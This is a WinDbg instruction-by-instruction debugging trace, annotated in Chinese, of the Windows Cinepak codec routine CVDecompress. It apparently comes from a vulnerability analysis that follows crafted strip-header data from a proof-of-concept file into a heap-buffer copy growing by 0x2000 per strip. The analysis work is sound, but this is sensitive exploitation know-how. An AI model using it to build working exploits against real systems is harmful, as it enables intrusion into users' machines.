eax=00000000 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723a0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x1f2:
73b723a0 40 inc eax ; eax = eax+1 = 0x1
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723a1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x1f3:
73b723a1 03fa add edi,edx ; edi指向第1个CVID Chunk ID,edx为Size of chunk data
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723a3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x1f5:
73b723a3 3bd0 cmp edx,eax ; edx为Size of chunk data,判断其是否大于1
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723a5 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x1f7:
73b723a5 894de8 mov dword ptr [ebp-18h],ecx ss:0023:025afd18=00ba690e ; ecx指向第1个CVID Chunk ID
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723a8 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x1fa:
73b723a8 7602 jbe iccvid!CVDecompress+0x1fe (73b723ac) [br=1] ; 小于等于则跳转,这里跳转
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723ac esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x1fe:
73b723ac 294508 sub dword ptr [ebp+8],eax ss:0023:025afd38=00000004 ;
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723af esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x201:
73b723af 837d0804 cmp dword ptr [ebp+8],4 ss:0023:025afd38=00000003 ; 判断(Size of strip data减去Strip Header大小后的数据大小-Size of chunk data)是否大于等于4
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723b3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x205:
73b723b3 0f8338ffffff jae iccvid!CVDecompress+0x143 (73b722f1) [br=0] ; 大于等于则跳转,这里不跳转
0:013> p
eax=00000001 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723b9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x20b:
73b723b9 0fbf450c movsx eax,word ptr [ebp+0Ch] ss:0023:025afd3c=0060 ; eax = a2 = 0x60 = (Strips bottom Y position)-(Strips top Y position)
0:013> p
eax=00000060 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723bd esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
iccvid!CVDecompress+0x20f:
73b723bd 0faf4520 imul eax,dword ptr [ebp+20h] ss:0023:025afd50=00000540 ; [(Strips bottom Y position)-(Strips top Y position)]*a7
0:013> p
eax=0001f800 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723c1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x213:
73b723c1 01451c add dword ptr [ebp+1Ch],eax ss:0023:025afd4c=02310050 ; [(Strips bottom Y position)-(Strips top Y position)]*a7+a6
0:013> p
eax=0001f800 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723c4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x216:
73b723c4 ff45ec inc dword ptr [ebp-14h] ss:0023:025afd1c=00000000 ; [ebp-14h]++,coded strip计数器
0:013> p
eax=0001f800 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723c7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x219:
73b723c7 8145fc00200000 add dword ptr [ebp-4],2000h ss:0023:025afd2c=00000000 ; [ebp-4] = [ebp-4]+0x2000 = 0+0x2000 = 0x2000,堆缓冲区指针偏移
0:013> p
eax=0001f800 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00ba690e
eip=73b723ce esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x220:
73b723ce 33ff xor edi,edi ; edi = edi^edi = 0x00000000
0:013> p
eax=0001f800 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00000000
eip=73b723d0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x222:
73b723d0 8b45f8 mov eax,dword ptr [ebp-8] ss:0023:025afd28=00000010 ; eax = [ebp-8] = 0x10,Size of strip data
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00000000
eip=73b723d3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x225:
73b723d3 0145f4 add dword ptr [ebp-0Ch],eax ss:0023:025afd24=00ba6902 ; [ebp-0xC] = [ebp-0xC]+0x10 = 0x00ba6912,指向第2个Strip Header;[ebp-0xC] = 0x00ba6902,指向第1个Strip Header
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00000000
eip=73b723d6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x228:
73b723d6 2945f0 sub dword ptr [ebp-10h],eax ss:0023:025afd20=0000005e ; [ebp-10h] = 0x4e,[ebp-10h]为未解压缩的数据长度,开始时等于PoC中cinepak_codec_data2和idx_tag字节数之和,这里算出剩余未解压缩的数据长度
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6902 edi=00000000
eip=73b723d9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x22b:
73b723d9 03f0 add esi,eax ; esi指向cinepak_codec_data2(指向第1个Strip Header),eax为Size of strip data,这里移动数据指针,指向第2个Strip Header
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b723db esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x22d:
73b723db 8b45e4 mov eax,dword ptr [ebp-1Ch] ss:0023:025afd14=00000010 ; eax = [ebp-1Ch] = 0x10,Number of coded strips
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b723de esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x230:
73b723de 3945ec cmp dword ptr [ebp-14h],eax ss:0023:025afd1c=00000001 ; [ebp-14h]为coded strips计数器,eax为Number of coded strips
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b723e1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x233:
73b723e1 8975e8 mov dword ptr [ebp-18h],esi ss:0023:025afd18=00ba690e ; [ebp-18h] = esi = 0x00ba6912,指向第2个Strip Header
0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b723e4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x236:
73b723e4 0f8c59feffff jl iccvid!CVDecompress+0x95 (73b72243) [br=1] ; 小于则跳转,这里跳转

----------------------------------------------------------------------------------------------------------------------------

0:013> p
eax=00000010 ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b72243 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x95:
73b72243 8b45f0 mov eax,dword ptr [ebp-10h] ss:0023:025afd20=0000004e ; [ebp-10h]为剩余未解压缩的数据长度
0:013> p
eax=0000004e ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b72246 esp=025afd04 ebp=025afd30 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
iccvid!CVDecompress+0x98:
73b72246 83f816 cmp eax,16h ; 判断未解压的数据长度是否小于0x16,
0:013> p
eax=0000004e ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b72249 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x9b:
73b72249 0f829b010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000004e ebx=001535b0 ecx=00ba690e edx=00000000 esi=00ba6912 edi=00000000
eip=73b7224f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xa1:
73b7224f 0fb65603 movzx edx,byte ptr [esi+3] ds:0023:00ba6915=10 ; edx = 0x10,第2个Size of strip data的低位字节
0:013> p
eax=0000004e ebx=001535b0 ecx=00ba690e edx=00000010 esi=00ba6912 edi=00000000
eip=73b72253 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xa5:
73b72253 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=0000004e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72255 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xa7:
73b72255 8a6e01 mov ch,byte ptr [esi+1] ds:0023:00ba6913=00 ; ch = 0x00,第2个Strip CVID ID的低位字节
0:013> p
eax=0000004e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72258 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xaa:
73b72258 8a4e02 mov cl,byte ptr [esi+2] ds:0023:00ba6914=00 ; cl = 0x00,第2个Size of strip data的高位字节
0:013> p
eax=0000004e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7225b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xad:
73b7225b c1e108 shl ecx,8 ; ecx = 0x00000000,左移8位
0:013> p
eax=0000004e ebx=001535b0 ecx=00000000 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7225e esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xb0:
73b7225e 0bca or ecx,edx ; 以大端读取Size of strip data
0:013> p
eax=0000004e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72260 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xb2:
73b72260 3bc1 cmp eax,ecx ; 判断剩余未解压缩的数据长度是否大于Size of strip data
0:013> p
eax=0000004e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72262 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xb4:
73b72262 894df8 mov dword ptr [ebp-8],ecx ss:0023:025afd28=00000010 ; [ebp-8] = ecx = 0x10,Size of strip data
0:013> p
eax=0000004e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72265 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xb7:
73b72265 0f827f010000 jb iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=0000004e ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7226b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xbd:
73b7226b 8a06 mov al,byte ptr [esi] ds:0023:00ba6912=11 ; al = 0x11,Strip CVID ID的高位字节
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7226d esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xbf:
73b7226d 3c10 cmp al,10h ; 判断Strip CVID ID的高位字节是否为0x10
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7226f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xc1:
73b7226f 7408 je iccvid!CVDecompress+0xcb (73b72279) [br=0] ; 相等则跳转,这里不跳转
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72271 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xc3:
73b72271 3c11 cmp al,11h ; 判断Strip CVID ID的高位字节是否为0x11
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72273 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xc5:
73b72273 0f8557010000 jne iccvid!CVDecompress+0x222 (73b723d0) [br=0] ; 不相等则跳转,这里不跳转
0:013> p
eax=00000011 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72279 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcb:
73b72279 8d4508 lea eax,[ebp+8] ; eax = 0x025afd38,a1地址,a1 = 0x001535b0
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7227c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xce:
73b7227c 50 push eax ; arg3 = eax = 0x025afd38,保存减去Strip Header大小后的数据大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7227d esp=025afd00 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xcf:
73b7227d 6a0c push 0Ch ; arg2 = 0xC,Strip Header大小
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b7227f esp=025afcfc ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd1:
73b7227f ff75f8 push dword ptr [ebp-8] ss:0023:025afd28=00000010 ; arg1 = 0x10,Size of strip data
0:013> p
eax=025afd38 ebx=001535b0 ecx=00000010 edx=00000010 esi=00ba6912 edi=00000000
eip=73b72282 esp=025afcf8 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd4:
73b72282 e8fffeffff call iccvid!ULongSub (73b72186) ; 如果arg1>=arg2,则返回0,且计算出减去Strip Header的大小后,剩余的数据大小,否则返回一个负数
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72287 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xd9:
73b72287 85c0 test eax,eax ; eax = 0x0
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72289 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xdb:
73b72289 0f8c65010000 jl iccvid!CVDecompress+0x246 (73b723f4) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b7228f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe1:
73b7228f 33c0 xor eax,eax ; eax = eax^eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72291 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe3:
73b72291 8a6608 mov ah,byte ptr [esi+8] ds:0023:00ba691a=41 ; ah = 0x41,Strips bottom Y position的高位字节
0:013> p
eax=00004100 ebx=001535b0 ecx=00000004 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72294 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe6:
73b72294 33c9 xor ecx,ecx ; ecx = ecx^ecx = 0x00000000
0:013> p
eax=00004100 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72296 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xe8:
73b72296 8a6e04 mov ch,byte ptr [esi+4] ds:0023:00ba6916=41 ; ch = 0x41,Strips top Y position的高位字节
0:013> p
eax=00004100 ebx=001535b0 ecx=00004100 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b72299 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xeb:
73b72299 8a4609 mov al,byte ptr [esi+9] ds:0023:00ba691b=41 ; al = 0x41,Strips bottom Y position的低位字节
0:013> p
eax=00004141 ebx=001535b0 ecx=00004100 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b7229c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xee:
73b7229c 8a4e05 mov cl,byte ptr [esi+5] ds:0023:00ba6917=41 ; cl = 0x41,Strips top Y position的低位字节
0:013> p
eax=00004141 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b7229f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xf1:
73b7229f 2bc1 sub eax,ecx ; (Strips bottom Y position)-(Strips top Y position)
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722a1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0xf3:
73b722a1 660faf432e imul ax,word ptr [ebx+2Eh] ds:0023:001535de=0001 ; ebx = a1 = 0x001535b0,[(Strips bottom Y position)-(Strips top Y position)]*1
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722a6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xf8:
73b722a6 89450c mov dword ptr [ebp+0Ch],eax ss:0023:025afd3c=00000060 ; a2 = eax = 0x00 = [(Strips bottom Y position)-(Strips top Y position)]*1
0:013> p
eax=00000000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722a9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xfb:
73b722a9 8b45fc mov eax,dword ptr [ebp-4] ss:0023:025afd2c=00002000 ; eax = [ebp-4] = 0x2000,堆缓冲区指针偏移
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722ac esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0xfe:
73b722ac 3bc7 cmp eax,edi ; 判断局部变量[ebp-4]是否为0
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722ae esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x100:
73b722ae 7421 je iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 为0则跳转,这里不跳转
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722b0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x102:
73b722b0 807d1300 cmp byte ptr [ebp+13h],0 ss:0023:025afd43=00 ; 判断a3(Len_of_CVID_data)的最高字节是否为0,Frame Header的Flags
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722b4 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x106:
73b722b4 751b jne iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 不相等则跳转,这里不跳转
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722b6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x108:
73b722b6 803e11 cmp byte ptr [esi],11h ds:0023:00ba6912=11 ; 判断Strip CVID ID的高位字节是否为0x11
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722b9 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x10b:
73b722b9 7516 jne iccvid!CVDecompress+0x123 (73b722d1) [br=0] ; 不等于则跳转,这里不跳转
0:013> p
eax=00002000 ebx=001535b0 ecx=00004141 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722bb esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x10d:
73b722bb 8b4b1c mov ecx,dword ptr [ebx+1Ch] ds:0023:001535cc=001535f8 ; ebx = a1 = 001535b0,ecx = 0x001535f8,堆块数据区域指针
0:013> p
eax=00002000 ebx=001535b0 ecx=001535f8 edx=025afd38 esi=00ba6912 edi=00000000
eip=73b722be esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x110:
73b722be 8d3c01 lea edi,[ecx+eax] ; edi = 0x001555f8,堆块数据区域指针增加0x2000
0:013> p
eax=00002000 ebx=001535b0 ecx=001535f8 edx=025afd38 esi=00ba6912 edi=001555f8
eip=73b722c1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x113:
73b722c1 b900080000 mov ecx,800h ; ecx = 0x800,复制数据长度0x800*4=0x2000
0:013> p
eax=00002000 ebx=001535b0 ecx=00000800 edx=025afd38 esi=00ba6912 edi=001555f8
eip=73b722c6 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x118:
73b722c6 8db700e0ffff lea esi,[edi-2000h] ; esi = 0x001535f8,堆块数据区域首指针
0:013> p
eax=00002000 ebx=001535b0 ecx=00000800 edx=025afd38 esi=001535f8 edi=001555f8
eip=73b722cc esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ; 第1次复制数据
0:013> p
eax=00002000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=001555f8 edi=001575f8
eip=73b722ce esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x120:
73b722ce 8b75e8 mov esi,dword ptr [ebp-18h] ss:0023:025afd18=00ba6912 ; esi = [ebp-18h] = 0x00ba6912,指向第2个Strip Header
0:013> p
eax=00002000 ebx=001535b0 ecx=00000000 edx=025afd38 esi=00ba6912 edi=001575f8
